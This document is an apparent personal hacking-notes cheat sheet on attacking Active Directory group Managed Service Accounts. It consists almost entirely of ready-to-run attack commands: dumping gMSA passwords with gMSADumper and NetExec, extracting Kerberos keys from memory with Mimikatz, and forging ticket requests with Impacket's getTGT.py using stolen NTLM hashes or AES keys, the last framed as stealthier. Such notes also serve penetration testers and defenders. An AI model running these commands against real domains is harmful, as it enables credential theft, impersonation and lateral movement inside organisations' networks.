> For the complete documentation index, see [llms.txt](https://f1rstbyt3.gitbook.io/hacking-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://f1rstbyt3.gitbook.io/hacking-notes/active-directory/gmsa.md).

# gMSA

#### gMSADumper

{% embed url="<https://github.com/micahvandeusen/gMSADumper>" %}

```python
python3 gMSADumper.py -u user -p password -d domain.local
```

Get keys from Mimikatz:

```
.\mimikatz.exe 'sekurlsa::ekeys' 'exit'
# grab rc4_hmac_nt
```

Steal the ticket/ pass the keyRequest the TGT with hash

```
python getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
```

Request the TGT with aesKey (more secure encryption, probably more stealth due is the used by default by Microsoft)

```python
python getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
```

Request the TGT with password

```
python getTGT.py <domain_name>/<user_name>:[password]
```

If not provided, password is asked

```
nxc ldap <host> -u <user> -p <password> --gmsa 

```